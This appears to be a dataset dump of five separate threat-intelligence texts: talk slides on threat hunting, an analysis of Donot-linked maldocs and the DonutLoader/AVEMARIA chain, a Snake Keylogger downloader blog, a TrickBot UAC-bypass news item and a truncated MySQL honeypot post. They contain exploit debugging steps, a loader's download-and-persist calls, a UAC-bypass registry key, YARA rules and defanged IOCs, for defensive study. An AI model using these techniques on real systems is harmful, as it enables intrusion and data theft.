text
stringlengths 8
115k
|
---|
# THROUGH THE EYES OF THE ADVERSARY
## THE SYNTHESIS OF THREAT INTELLIGENCE & THREAT HUNTING OPERATIONS
### SPEAKER: JEN AYERS
- Over 20 years of cybersecurity experience
- Serves more than 20% of the Fortune 500
- Multiple roles both as a service provider as well as working in industry
### SPEAKER: JASON RIVERA
- 13+ years experience in threat intelligence
- Experience building threat intel programs for Fortune 500 companies and large government agencies
- Former US Army Intelligence Officer at NSA & US Cyber Command
## EXECUTIVE SUMMARY
### THE CHALLENGE
On the other side of the most advanced attacks are intelligent, motivated, and highly capable human beings. The adversary is intelligent enough to estimate your defenses and to creatively conceive of ways to bypass them. The adversary is sufficiently motivated, either financially, ideologically, or by nationalism, and is willing to do what it takes to achieve their objectives. The adversary is highly capable and has a wealth of tools, personnel, experience, and resources at their disposal.
## THE ADVERSARY IS SUCCEEDING AT HIGHER RATES
### 2019 Big Game Hunting Incidents
## KEY OBSERVATIONS
### OBSERVATION 1: Flexibility & Creativity
- **WICKED SPIDER**
- Target: Financial
- Technique: Remote RDP login with stolen credentials. Establish foothold.
- **WICKED PANDA**
- Target: Telecom
- Technique: Use common Microsoft admin tools to download implants, bypassing detection.
- **VELVET CHOLLIMA**
- Target: Academic
- Technique: Spearphishing to deliver malicious Chrome extensions.
- **CLOCKWORK SPIDER**
- Target: Opportunistic
- Technique: Install custom root certificate on victim to support man-in-the-middle network monitoring.
### OBSERVATION 2: Speed & Agility
2018 Breakout Times: Russia, North Korea, China, Iran, E-Crime.
## HOW TO SEE THROUGH THE EYES OF THE ADVERSARY
### SO… WHAT IS AN “ADVERSARY”?
The adversary is a person or group of people who seek to harm our interests.
### HOW CAN WE CONCEIVE OF OURSELVES?
- **Strategic**
- **Operational**
- **Tactical**
- **Access Vectors**
- Physical
- Human
- Digital
What things of value do you have that the adversary wants to target? What people, processes, and technologies will the adversary target? How will the adversary gain entry into your organization?
### HOW CAN WE CONCEIVE OF THE ADVERSARY?
- **Strategic**
- Motive
- **Operational**
- Intent
- Capability
- Infrastructure
- **Tactical**
- TTPs
What are the underlying conditions that contribute to motive and intent? What capabilities do they possess, how do they work, and what infrastructure will those capabilities come from? What TTPs will the adversary execute in order to gain access?
## THE CYBER THREAT LANDSCAPE
### Ourselves vs. The Adversary
- **Public Sector**: Healthcare, Energy, Tech, Financial, Consumer Products
- **Critical Assets**: People, Processes, Technology
- **Operational**: Capability, Infrastructure
- **Tactical**: TTPs
## SO HOW DO WE FIGHT BACK?
### THREAT HUNTING & THREAT INTELLIGENCE
### OPERATIONALIZING THREAT HUNTING
Observations from intrusions drive long-term R&D. Analysts identify possible intrusion activity. Activity is scoped, analyzed, and tracked. Actionable intel is provided to the customer.
### ENABLING ELEMENTS
- **ENVIRONMENT**
- Asset Inventory
- Classification of Data & Assets
- **Process**
- Speed
- Context
- Baselining
- **Technical**
- Host Visibility
- Network Awareness
- Enterprise Search
- Threat Intelligence
## TECHNICAL CAPABILITIES FRAMEWORK
- **Capability**
- Host-level activity
- Network-level awareness
- Enterprise Log Search
- Threat Intelligence
## A NO-COST STARTING POINT
- **LOG TYPES**: Requests, Applications, Security & System Access, Authentication
- **LOG SOURCE**: DNS Logs, Windows Event Logs, Web Proxy Logs, Firewall Logs, Active Directory Authentication Logs
- **RETENTION PERIOD**: 3 months to 12 months
## OPERATIONALIZING THREAT INTELLIGENCE
Which stakeholders will consume the things we produce? What kinds of things are we going to produce?
### INTELLIGENCE LIFECYCLE STEPS 1 & 2
- **Planning & Direction**: Use your estimate of the cyber threat landscape to develop your hypotheses.
- **Collection & Processing**: Identify the inventory of existing threat intelligence sources within your environment.
### INTELLIGENCE LIFECYCLE STEPS 3 & 4
- **Analysis & Production**: Contextualize threat intelligence through enrichment and correlation.
- **Dissemination & Feedback**: Deliver timely and actionable intelligence products to your teams.
## HOW TO SERVE THREAT STAKEHOLDERS
Let’s imagine them as being kinda like a race car driving team…
### STAKEHOLDERS
- **Tactical**: Security Engineers, SIEM, Firewall, Endpoints, IDS/IPS
- **Operational**: SOC Analyst, Vulnerability Management, Incident Response, Threat Hunters, Threat Intelligence
- **Strategic**: CISO, CIO, CTO, Executive Board
## WHAT DOES THIS LOOK LIKE IN ACTION?
### CASE STUDY: BIG GAME HUNTING
- Increased global activity by ECrime actor GRIM SPIDER.
- Targeted ransomware deployment (Big Game Hunting).
- Initial access via targeted phishing email with macro-enabled MS Word doc.
## CYBER THREAT LANDSCAPE: BIG GAME HUNTING
### Ourselves vs. The Adversary
- **Critical Assets**: Financial Resources, People, Processes, Technology
- **Operational**: Capability, Infrastructure
- **Tactical**: TTPs
## RECOMMENDATIONS
A proactive mindset and a little bit of planning go a long way. The fundamentals still matter – continue to enforce basic security hygiene. Look beyond malware: strengthen defenses against modern attacks. Survival of the fastest: accept the 1-10-60 challenge. Look to partners to help solve the skills shortage.
## THANK YOU.
ANY QUESTIONS? |
# Do You Want to Bake a Donut?
I have not done any proper analysis for a while now, so here I am, trying to keep my itchy fingers busy after getting revved up by FlareOn last month. I saw this interesting post and jumped right into it.
Preliminary research got me these:
I found additional samples on VirusTotal using RTF creation date: 2019:12:26 11:48:00. These samples are related to the same threat actor because of the overlapping C2 domains used, the similarities in file naming, and the same payload deployed.
After pivoting and researching, “Donot” and “Confucius” are two APT names that are closely related to the samples found. I don’t have enough data on my hands to say if these two groups are the same or if they are simply sharing infrastructure. Nonetheless, I shall concentrate on technical analysis while folks with more telemetry can worry about attribution.
The maldocs deployed by the actor use the following techniques to initiate the infection: Template injection, macros, and/or exploits (e.g. CVE-2017–11882). After going through some trouble of deobfuscation/decoding/decrypting strings and code, the final payload (AVEMARIA, aka WARZONE RAT) is fetched and executed using one of two ways. One is via a loader (comes in a pair of files made up of a DLL and a XOR-encrypted data file), which I named as DonutLoader since there are no existing catchy names for this; the other way is via a different pair of files made up of a shellcode and a gif.
This long post shall be organized in this manner:
- Template injection
- Malicious RTFs (walkthrough of my analysis of the shellcode deployed by the exploits) to execute DonutLoader and/or AVEMARIA
- Macros to execute DonutLoader
- DonutLoader Analysis
- Brief comment on AVEMARIA
## Template Injection
In the case of “Suparco Vacancy Notification.docx”, the next stage malicious RTF is downloaded via relationship templates. The exact same settings.xml.rels file is observed within “Testing.docx”. “mal testin.docx” contains a different download link:
Malicious RTFs and the shellcode within
RTF: 8E85C62E5D7FA9A6D2E176BCA6F6526B53EBFDA6EF3DF208E1E60434BD26EFFC
The file “IN4447832” is a malicious RTF that downloads a pair of gif/shellcode files that in turn download the final payload. The whole series of activities is triggered with the exploitation of CVE-2017–11882. Let’s see how it’s done.
At the end of the RTF file, we can see an embedded object:
Extract this object and look at it again: There it is, an exploit for the equation editor. We can find the beginning of the exploit shellcode after identifying the “Font record” header (0x8 denotes Font record). Put it into IDA:
We can follow where the instruction pointer goes to within a debugger. Gflags come in handy again for this. Set the debugger for “eqnedt32.exe” to “C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb -server tcp:port=5505”, click Apply and OK.
Execute the RTF file and with windbg, connect to remote session “tcp:port=5505,server=localhost”. Put a breakpoint “ba r4 0x45BD3C” (taken from the shellcode 0x1271EB44 XOR 0x12345678) which will break on access read/write on the address.
When the breakpoint hits, we see this:
The shellcode followed the addresses three times, let’s do the same and arrive at: That looks like the MTEF data followed by font record, isn’t it? The shellcode then jumps to offset 0x43 from here, 0x5da358 + 0x43 = 0x5DA39B.
Now, you know what to do. Put a breakpoint here of course.
> bp 0x5DA39B
The shellcode then did a little “polymorphism” and we find out that deobfuscation is done on the last 0x315 bytes of the extracted object — first a NOT, followed by XOR 0xE0.
After deobfuscation, we can then see the strings and code:
Analyzing the deobfuscated code will lead us to know that the file “updte” is another shellcode that executes code (again, XOR encrypted) in sant.gif.
The decryption within updte goes like this:
Which leads to me writing this little piece of python script to assist in decrypting the gif file:
After decryption, the data looks like the following. But somehow, some parts of it look like they are still obfuscated…
Well, IDA confirms our suspicions. Easy!
RTF: 686847B331ACE1B93B48528BA50507CBF0F9B59AEF5B5F539A7D6F2246135424
The file “KB466432” is also a malicious RTF that executes a loader via exploitation of eqnedt32. This is different from the above RTF I analyzed.
A cursory look at the RTF reveals an embedded object like this:
Which turns out to be a PE named “muka.dll”. Take note of the path “C:\Users\Dev\Desktop\07082020_8570_S\”
Then there is also this other embedded object. Notice how there is a very long NOP sled within, which hints to us that this object is some code (probably the exploit):
Indeed, when we inspect this object, there’s a suspicious “tion.3” string in there, which reminds us of “Equation.3”. Very likely, we are looking at a CVE-2017–11882 or CVE-2018–0802 exploit again. Let’s see what the exploit tries to do. We can find the beginning of the exploit shellcode after identifying the “Font record” header.
In the earlier RTF analysis, we found an address that leads to where the MTEF data is found. Maybe use it again here:
> ba r4 0x45BD3C
Bingo! Put a breakpoint on where the shellcode begins (in this case, 0x618efa). But it didn’t get hit. Maybe it got copied somewhere else before getting executed? Try
> ba r1 0x618efa
Looks like we are right!
> bp 0x18f318
Notice that the shellcode is seeking an address 2*0x7F starting from the MTEF header (0x5B8F0 + 0x7F + 0x7F), push this address to the stack, and then return to this address.
Taking a quick look at the shellcode in IDA, seems that the shellcode is trying to load muka.dll. Confirm this with the debugger. The shellcode calls the export “zenu” of muka.dll. It turns out that muka.dll is a DonutLoader. I’ll get to its analysis in a while.
## Macros and DonutLoader
DonutLoader can also be embedded within the maldoc and executed via macro.
Within 1d9ede11b34a20d4947f01432cea088dbefa911f02afaae9095673f56a76eafa, there are 2 embedded objects (as shown in screen captures above):
- C:\Users\Dev\AppData\Local\Temp\written.dll
- C:\Users\Dev\AppData\Local\Temp\s
Note also the paths “C:\Users\Dev\Desktop\Macro_Xls_1704_S” and “C:\Users\Dev\Desktop\01052020_MacroXlsEmb_S” which will help us to find more samples. Written.dll is a PE in plain, while s is a 0x98-XORed PE.
These files are DonutLoaders. OK, coming up next is their analysis finally!
## DonutLoader
The name came about because I repeatedly mistyped the group name “Donot” as “Donut” when writing notes about these samples. Folks at PTSecurity did analysis on some similar samples and called them “Lo2 loaders”.
From the RTFs I found from VirusTotal, most of them have a pair of files embedded — a DLL and a XOR-encoded data file. The following collates all the DonutLoader samples that I looked at.
The DLL binaries make use of base64 and XOR operations to obfuscate its configuration data/strings so that our lives become a little bit harder. I was able to decode strings from these binaries with the help of a small python script.
This python script does the same thing as the one found in PT Security’s article, which said that this algorithm has been in use since October 2019.
There is one binary that is “odd”. It had the latest compilation datetime amongst the files I looked at (which were compiled around Jun/Jul 2020). It uses a different algorithm to decode the strings.
From within the DLL, the XOR-encoded file is read, decoded, and executed. Within this second XOR-encoded executable, the same tricks are used to obfuscate strings from our prying eyes, consisting of base64 and XOR encoding, as well as byte additions. Interestingly, not all the strings can be decoded. But from what could be decoded, we can see where the next stage malware is downloaded from.
muka.dll (SHA256: 1C41A03C65108E0D965B250DC9B3388A267909DF9F36C3FEFFFBD26D512A2126)
(This file came from the RTF “KB466432”, SHA256: 686847B331ACE1B93B48528BA50507CBF0F9B59AEF5B5F539A7D6F2246135424, analyzed above)
This particular DonutLoader is more straightforward than those that occur in a pair. It uses just one type of string obfuscation:
A quick look at the deobfuscated strings:
At runtime, the strings are used in the following manner:
- CreateDirectoryA(“C:/intel”, ..)
- URLDownloadToFileA(…, “hxxp://wordupdate.com/recent/update”, “C:/intel/new.exe”, …)
Persistence is established with a shortcut to execute new.exe at startup:
“C:/Users/user/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/new.lnk”
## AVEMARIA
The final payload malware is in fact WARZONE RAT (researchers named it AVEMARIA because of this string found within earlier versions of the RAT). Many folks have done analysis on this RAT so I’m not going to go into deep dive.
Some findings that I found interesting regarding the AVEMARIAs executed by DonutLoader:
- The PDB path is intentionally misleading. That path “VCSamples-master\VC2010Samples\ATL\General\ATLCollections\Client” is identical to Microsoft’s “VCSample” project on Github and the executable has nothing to do with what the path describes. I found lots of other AVEMARIAs based on PDBs like this. This could be part of the builder/encrypter in the WARZONE suite.
- The actual AVEMARIA payload (the one that calls back to the C2) is decoded and executed in memory and I dumped it to look at the strings. The keyword “warzone160” can be found, and this dumped executable matches YARA rules describing AVEMARIA.
- Many more similar AVEMARIAs calling back to the same C2 can be found on VirusTotal, with relations to the known domain names used by the maldocs/DonutLoaders. Looks like AVEMARIA is a tool of choice to this APT group.
## Last Words
Analyzing this set of malicious docs and executables has been fun, I’ll just leave you all with a set of IOCs and YARA rule for detecting DonutLoader. If anyone is interested to discuss, DM me on Twitter!
```yara
import "pe"
rule MAL_DonutLoader_DonotAPT {
meta:
author = "Asuna Amawaka"
description = "This rule hopes to capture parents of DonutLoader as well as DonutLoader binaries"
date = "30 Nov 2020"
strings:
$filename1 = "wavs.bin" wide ascii nocase
$filename2 = "ogg.bin" wide ascii nocase
$filename3 = "muka.dll" wide ascii nocase
$filename4 = "linknew.dll" wide ascii nocase
$filename5 = "kpryt.dll" wide ascii nocase
$filename6 = "cvent.dll" wide ascii nocase
$filename7 = "trui19o2.dll" wide ascii nocase
$filename8 = "lioj86.dll" wide ascii nocase
$filename9 = "fuitel.dll" wide ascii nocase
$filename10 = "dpur.dll" wide ascii nocase
$filename11 = "mecru.dll" wide ascii nocase
$filename12 = "eupol.dll" wide ascii nocase
$filename13 = "mentn.dll" wide ascii nocase
$filename14 = "made.dll" wide ascii nocase
$filename15 = "notr.dll" wide ascii nocase
$filename16 = "vetu.dll" wide ascii nocase
$filename17 = "detr.dll" wide ascii nocase
$filename18 = "bese.dll" wide ascii nocase
$filename19 = "NumberAlgo.dll" wide ascii nocase
$filename20 = "JacaPM.dll" wide ascii nocase
$filename21 = "maroork.dll" wide ascii nocase
$filename22 = "fli0.dll" wide ascii nocase
$filename23 = "nuityr.dll" wide ascii nocase
$filename24 = "jgasf.dll" wide ascii nocase
$filename25 = "tuyrt.dll" wide ascii nocase
$filename26 = "lefbu.dll" wide ascii nocase
$filename27 = "pult.dll" wide ascii nocase
$filename28 = "quep.dll" wide ascii nocase
$filename29 = "nmwell.dll" wide ascii nocase
$filename30 = "yello.dll" wide ascii nocase
$filename31 = "lokr.js" wide ascii nocase
$filename32 = "falin.js" wide ascii nocase
$filename33 = "obile.js" wide ascii nocase
$filename34 = "vqiw.js" wide ascii nocase
$filename35 = "gb.bat" wide ascii nocase
$filename36 = "iksm.bat" wide ascii nocase
$filename37 = "trrt.bat" wide ascii nocase
$filename38 = "blo.bat" wide ascii nocase
$filename39 = "SystemService.exe" wide ascii nocase
$path1 = "C:\\Users\\Dev\\Desktop\\07082020_8570_S\\" wide ascii nocase
$path1_wild = {5c 55 73 65 72 73 5c 44 65 76 5c 44 65 73 6b 74 6f 70 5c [8] 5f [4] 5f 53 5c}
$path2 = "AppData\\Roaming\\EvMGR" wide ascii nocase
$path3 = "C:\\Users\\Dev\\Desktop\\Macro_Xls_1704_S" wide ascii nocase
$path3_wild = {5c 55 73 65 72 73 5c 44 65 76 5c 44 65 73 6b 74 6f 70 5c 4d 61 63 72 6f 5f 58 6c 73 5f [4] 5f 53}
$path4 = "C:\\Users\\Dev\\Desktop\\01052020_MacroXlsEmb_S" wide ascii nocase
$path4_wild = {5c 55 73 65 72 73 5c 44 65 76 5c 44 65 73 6b 74 6f 70 5c [8] 5f 4d 61 63 72 6f 58 6c 73 45 6d 62 5f 53}
$str1 = "MJuego" wide ascii nocase
$str2 = "0007E9E4CE4D" wide ascii nocase
$str3 = "Bensun" wide ascii nocase
$str4 = "Menner" wide ascii nocase
$pdbpath1 = "Soft\\DevelopedCode_Last\\BitDefenderTest\\m0\\New_Single_File\\Lo2\\SingleV2\\Release\\BinWork.pdb" wide ascii nocase
$pdbpath1_wild = {5c 53 6f 66 74 5c 44 65 76 65 6c 6f 70 65 64 43 6f 64 65 5f 4c 61 73 74 5c 42 69 74 44 65 66 65 6e 64 65 72 54 65 73 74}
$pdbpath2 = "Users\\admin\\Documents\\dll\\linknew\\Release\\linknew.pdb" wide ascii nocase
condition:
uint16(0) == 0x5a4d and filesize < 600KB and ((1 of ($filename*)) or (any of ($path*, $str*, $pdbpath*)) or pe.exports("zenu") or pe.exports("flis") or pe.exports("jrgbeg") or pe.exports("csytu") or pe.exports("neeu") or pe.exports("vile"))
}
```
**IOCs:**
- wordupdate[.]com/recent/update
- cheaperlive[.]xyz/xolto/mikix
- tampotrust[.]top/tax/lodi/pkra
- remindme[.]top/tax/lodi/pkra
- recent.wordupdate[.]com/ver/update12/KB466432
- the-moondelight[.]96[.]lt/latest/updte
- the-moondelight[.]96[.]lt/optra/sant.gif
- the-moondelight[.]96[.]lt/latest/version/secure/download/IN4447832
- the-moondelight[.]96[.]lt/windw-sec/append
**Hashes:**
- 1C41A03C65108E0D965B250DC9B3388A267909DF9F36C3FEFFFBD26D512A2126
- 8CFBFECFE475C3621277EE7F680E3A0CB9C650802363DAA256C1057ADFB817A9
- 7A987295229D2514D99916D53F196B87758CE08FD8621CF68BC419DC99B80D6D
- D279DDB6B2A566BC24E789B5181663491B8C2818CB91E28AAE5721DCB0BF30B6
- AB04BF258CF71B4A1CB934491CF942ECDA0EC82D4F6A80B5108D7607BE6FC2BE
- 7F4B7D0C6076E197A509C01C0794EBC450229FF5D555BE8D7F89F98B3C43A298
- 684F68429F8BAC224E6FDC68195C89B54BA469FBCC2184EC2B5FC689E585CA54
- 0EA05331E775DE6B329FF1FA22F11809C2C1BCB6E17683552219CB32F52A47F5
- 83847C527F713B6E13849028D66B08686ADDE26B8E9ECD8DDC78AD178EF7BDCB
- E291A146F79D927D18392A04D238D829C0DF156410E4D93636AEE1B5663DB914
- E6753EB498F58F95C8FC931B6CD53647CE2F4F8F7AD4274C22CA2B6284FB5308
- 67C0C937E049083193649449519A57E42945CA2ABE19756F4E76D95CAA44A062
- 70D41C8C25CB8E75296576D3DBB37720E03F96691691763953FEA0FE00F50EB4
- 9B34F53DDC20D5EA2F7B47818ED2E7D626948256268CB4E2B11E47ECAF9A839A
- 891ACF7B729183945F209C915BA2BB57B541E2EA350899A541DB9A63428711A5
- FB46324757D0EC8B0AC02729E281E47EF1C367DEED483F14481441C2F9B6CA34
- 66F3134E3E040F50ED59629379C0750D896969ACFDC55105BE7FEF81839BA035
- 1C4B8A1F48FF1B9511AEC0704983E45242F01C2109AB4602F7952481429DDC84
- 88672DF33B02275660EC3995F3BAD63FE994C09BA8E978E7F18D4F8C9A97637A
- 7609034E7473869B3A5767F9543B6067998F4DB68E3BA26966C115535337337F
- ADE6D291C870A9F59D4A22FF4D61E6B2A913538701517E8D0AA275855FD80A76
- E99AE9163F6DBBA22E1357C2164EB0F9971A264A481813EC11DC598784435B95
- 1E6E568E2FCCFEB2E0275982D5637E0BE6D0BA4575685126D957061BF2D19678
- 4C5C43F4932AC497C716BB5EC30A7636E5056775A4D5F3F48B9E5C1414B9F7B3
- 7305E08AB7812F44EA42E89AE7D473B1F373C151CA8D12F77B79E85C942366FC
- 59CCFFF73BDB8567E7673A57B73F86FC082B0E4EEAA3FAF7E92875C35BF4F62C
- A3CD781B14D75DE94E5263CE37A572CDF5FE5013EC85FF8DAEEE3783FF95B073
- 904E966DA7B38514F6AC23BBA1DAC1858888CD48FA77B73C770156B19A88A4C8
- 8E85C62E5D7FA9A6D2E176BCA6F6526B53EBFDA6EF3DF208E1E60434BD26EFFC
- 5C9477C16DF8EF4434C042E69B473A44452CAEE96219A56EB2DA30F0B5E85976
- 686847B331ACE1B93B48528BA50507CBF0F9B59AEF5B5F539A7D6F2246135424
**References:**
- [1] Twitter post by RedDrip7
- [2] “Studying Donot Team”, 28 May 2020, PT Security
~Asuna~
Drop me a DM if you would like to share findings or samples. |
# Threat Thursday: Unique Delivery Method for Snake Keylogger
The BlackBerry Research & Intelligence Team
A recently found downloader for Snake Keylogger brings several slippery evasion tactics together. It socially engineers its victims, targets organizations/users that failed to patch a known exploit, and uses a variety of twists and turns in an effort to evade traditional antivirus (AV) products. In this blog, our team digs into this threat to find out exactly how it works and what takeaways we can share with people to help protect them from this extremely stealthy threat.
In a recent threat campaign, the Snake Keylogger was delivered by a downloader that uses an unconventional file type as a lure, in addition to using embedded files within that lure, encrypted shellcode, and remote code execution exploits. The Snake Downloader uses these techniques like tall grass to hide its path toward an intended target.
Because of the public’s familiarity with Microsoft® Office formats, DOC and XLS files tend to be the lure documents of choice for threat actors. Because of this, it is far less common to see a PDF file like the one used by this threat as the initial vector in an attack. We’ll examine why the author of Snake Downloader chose this uncommon threat vector and what it reveals about the threat actor’s intentions and ultimate goals.
## Operating System Risk & Impact
For an initial understanding of how this attack is structured, let’s look at the different files involved in our analysis of the downloader and how they relate to each other. Here are the files used:
- **“REMMITANCE INVOICE.pdf”** – The original PDF attachment/lure document
- **“has been verified. However pdf, jpeg, xlsx, .docx”** – The DOCX file used to download the rich text format (RTF) file via macros. It is opened by the PDF lure after prompting the user.
- **“f_document_shp.doc”** – The RTF document downloaded by the DOCX file; it holds the malformed objects.
- **“00000000.ole”** – The object linking and embedding (OLE) object extracted and reconstructed from “f_document_shp.doc”
- **“00000000.bin”** – The encrypted shellcode extracted from “00000000.ole”
- **“fresh.exe”** – Snake Keylogger
HP Wolf Security recently discovered this threat when they came across a PDF attachment named “REMMITANCE INVOICE.pdf.” Running this file prompts the user to open a DOCX file, which is deceptively named “has been verified. However PDF, Jpeg, xlsx, .docx.” This strange choice of filename was chosen for a specific reason; at a casual glance, the filename cleverly makes it appear as if the file has been automatically vetted and verified by the victim’s machine.
This is a type of social engineering that relies heavily on the victim only giving the popup a cursory glance. The threat’s author hopes that the victim will be too busy or distracted to properly read the “Open File” dialog, which means that many people working in a fast-paced office environment may fall victim to this threat.
If this DOCX file is opened and macros are enabled by the victim, this triggers the download of an RTF file while displaying the strangely named document in Microsoft® Word. Users who look closely will also see that Word reaches out to a certain URL while loading, coinciding with DNS requests to the same URL.
For a closer look at the file, our team viewed the Office Open XML (OOXML) file contents and found the URL (vtaurl[.]com/IHytw) in the document’s relationships file. We can also see that an OLE object is being loaded from this URL. Once the RTF document (f_document_shp.doc) is downloaded, we can check it for any OLE objects, such as the two malformed objects.
To take a closer look at these OLE objects, we reconstructed them first. Then, using oletools to view information about the objects, we find that one of them (00000000.ole) mentions the Microsoft Equation Editor in its description. This feature is often used by attackers to exploit known Word vulnerabilities to execute arbitrary code.
Following this information, we find shellcode in the OLE that exploits the Equation Editor’s remote code execution vulnerability (CVE-2017-11882). This vulnerability was patched over four years ago, but there are still many unpatched machines in the wild that remain vulnerable. The shellcode is shown being extracted from the OLENativeStream structure of the object.
Since the shellcode is encrypted at first, we must look for the moment during execution where it decrypts itself. To do so, we can use a tool like runsc to convert the extracted shellcode into executable code, then walk through the code with a debugger.
As we step through the shellcode, after defining the correct offset, the file begins decrypting itself. In particular, the highlighted instruction is quite revealing. For each iteration of this decryption loop, it shows a specific register (ECX) getting multiplied by a static value and added. Mathematic operations like this can be typical for decryption routines.
If we follow the dump from register ECX, it reveals more and more with each iteration as the shellcode is decrypted. When finished, a reference for downloading fresh.exe can be seen, which is the Snake Keylogger itself. This keylogger is a prevalent information stealer, also known as the 404 Keylogger, which has been in circulation since late 2020. This decrypted shellcode can be seen in the analysis.
Once the shellcode in the RTF file downloads the keylogger, the Snake Downloader has done its job, and now it’s up to Snake Keylogger to continue from here. Keyloggers such as Snake lurk in the background on an infected machine and wait for the user to input any juicy information via the keyboard, particularly website logins, such as those used for banking or a cryptocurrency wallet. That information then gets exfiltrated back to the threat actors and used for their own financial gain.
## Conclusion
Although it may be less common to see PDFs used as malicious file attachments, they should still be taken just as seriously and handled with the same precautions as any other potentially infected attachments. In the case of Snake Downloader, the lure document is only the first step in an array of tactics used to obfuscate the installation of the Snake Keylogger payload.
From its use of embedded files, encrypted shellcode, and even remote code execution exploits, it’s clear that this downloader goes further than most to hide its initial execution on the system. While the CVE-2017-11882 exploit had a patch created for it in 2017, it has been a slow process to get all affected machines patched, which means it’s still one of the most common vulnerabilities that threat actors continue to exploit. This latest example speaks to the prevalence of such attacks and emphasizes the ongoing need for diligence when it comes to patching your organization’s endpoints and distrusting attachments and files shared over the internet.
## Who is Affected?
Those with machines still vulnerable to CVE-2017-11882 could be infected by Snake Downloader/Keylogger malware. The Snake Downloader threat is not confined to a particular industry or sector, but rather takes advantage of busy or distracted individuals to perpetrate its malicious activity.
## Mitigation Tips
You can take the following steps to reduce your exposure to this threat:
- Always remain cautious when opening email attachments, regardless of file type.
- Be sure to carefully read all security popups when you’re being asked to manually enable something on your machine, particularly macros.
- Ensure you stay up to date with all Security Updates from Microsoft to stay protected from exploits like CVE-2017-11882.
- Monitor accounts for unusual and unauthorized access that falls outside of the baseline.
## YARA Rule
The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document:
```yara
rule Snake {
meta:
description = "Detects Snake"
author = "BlackBerry Threat Research Team"
date = "2022-06-03"
license = "This YARA rule is provided under the Apache License 2.0 and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
strings:
$s1 = "Game1Screen_Form_Load"
$s2 = "get_KeyCode"
$s3 = "Good luck mate"
condition:
filesize < 1000KB and all of them
}
```
## Indicators of Compromise (IoCs)
- 05dc0792a89e18f5485d9127d2063b343cfd2a5d497c9b5df91dc687f9a1341d
- 250d2cd13474133227c3199467a30f4e1e17de7c7c4190c4784e46ecf77e51fe
- 165305d6744591b745661e93dc9feaea73ee0a8ce4dbe93fde8f76d0fc2f8c3f
- f1794bfabeae40abc925a14f4e9158b92616269ed9bcf9aff95d1c19fa79352e
- 20a3e59a047b8a05c7fd31b62ee57ed3510787a979a23ce1fde4996514fae803 |
# TrickBot Uses a New Windows 10 UAC Bypass to Launch Quietly
The TrickBot Trojan has switched to a new Windows 10 UAC bypass to execute itself with elevated privileges without showing a User Account Control prompt. Windows uses a security mechanism called User Account Control (UAC) that will display a prompt every time a program is run with administrative privileges. When these prompts are shown, they will ask the logged-in user if they wish to allow the program to make changes, and if the program is suspicious or unrecognized, it allows the user to prevent the program from running.
These UAC bypasses are found in legitimate Microsoft Windows programs that are used by the operating system to launch other programs. As they are not considered a high priority to Microsoft, it could be a while before discovered bypasses are fixed, if at all. To avoid being detected, malware developers sometimes use a UAC bypass so that the malware runs with administrative privileges, but without displaying a UAC prompt and alerting the user.
## Trickbot switches to the Wsreset.exe UAC bypass
Just recently, it was reported that TrickBot had begun using a Windows 10 UAC bypass that utilizes the legitimate Microsoft fodhelper.exe program. This week, ReaQta discovered that TrickBot has now switched to a different UAC bypass that utilizes the Wsreset.exe program. Wsreset.exe is a legitimate Windows program used to reset the Windows Store cache. When executed, Wsreset.exe will read a command from the default value of the HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command key and execute it. When executing the command, it will not display a UAC prompt, and users will have no idea that a program has been executed. TrickBot is now exploiting this UAC bypass to launch itself with elevated privileges, but without the logged-in Windows user being notified by a UAC prompt.
This allows the trojan to run silently in the background while it harvests saved login credentials, SSH keys, browser history, cookies, and more. TrickBot is particularly dangerous as it can propagate throughout the network, and if it gains admin access to a domain controller, it can steal the Active Directory database to gain further credentials on the network. Eventually, TrickBot is known to open a reverse shell back to the Ryuk Ransomware actors so that they can encrypt the entire compromised network.
**Update 1/30/20:** MorphiSec published an analysis of TrickBot using the Wsreset.exe UAC bypass, and it's a great read for those who want a more technical nosedive.
**Tags:** Malware, Password Stealing Trojan, TrickBot, UAC Bypass, Windows 10
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. |
# A Handshake with MySQL Bots
## Edge Services
It’s well known that we just don’t put services or devices on the edge of the Internet without strong purpose justification. Services, whether maintained by end-users or administrators, have a ton of security challenges. Databases belong to a group that often needs direct access to the Internet - no doubt that security requirements are a priority here. In this article, we will focus on the database sector, specifically MySQL, and one of the common and harmful threats that lurk on the Internet.
Bots are a well-known threat on the Internet. These lazy programs constantly check whether there is an available MySQL service on the standard TCP/3306 port. Lazy because, in our case, there were about 20-30 login attempts once per day or a few. After detecting an available database instance, the bot tries bruteforce administrator credentials. Internet scanner service binaryedge.io reports over 4.2 million available devices that have been recognized as MySQL service.
## The Honeypot
To take a closer look at the situation, I created two MySQL and MariaDB servers in fairly new releases (one after another). I wanted to find out what techniques and methods attackers are currently using to escalate rights and take control of the server and find out their purpose.
The honeypot was available for over a month on a standard TCP/3306 port with a fake root account and an easy-to-guess password. I configured the root account in such a way that the bot would not do any damage once logged in. Permissions on that account were very low but not minimal. Except for enabled event logging, the rest of the configuration was default. I also created a few databases (besides standard 'mysql', 'test', etc.) along with tables to create a realistic production environment.
## Guests
I didn’t observe many login attempts during the first period until the honeypot IP was listed on Shodan in the “product:mysql” search results. I observed 24 unique IP addresses throughout honeypot operation. During the analysis, it turned out that some addresses were related. For example, some addresses simply disappeared after a successful bruteforce, and then, after some time connection from new IP managed to log in at the first attempt.
### Actor #1
Yongger is a well-known bot that has been active on the Internet for many years. Yongger (in Chinese - brave) uses two methods, respectively for Windows and Linux servers. Despite the fact that Yongger checks the operating system, it still performs both operations 'blindly', so we observe attempts to run Windows PE files (like DLL, EXE) on Linux system, etc.
**Method 1 (for Windows)**
After guessing the password, the bot collects server information, turns off autocommit mode, and places a hexed UDF malicious plugin (DLL) in the 'a' variable. MySQL User Defined Functions (UDF) allows you to create your very own functionality and use that inside the MySQL. Bots use this method to call shellcode or act as a backdoor.
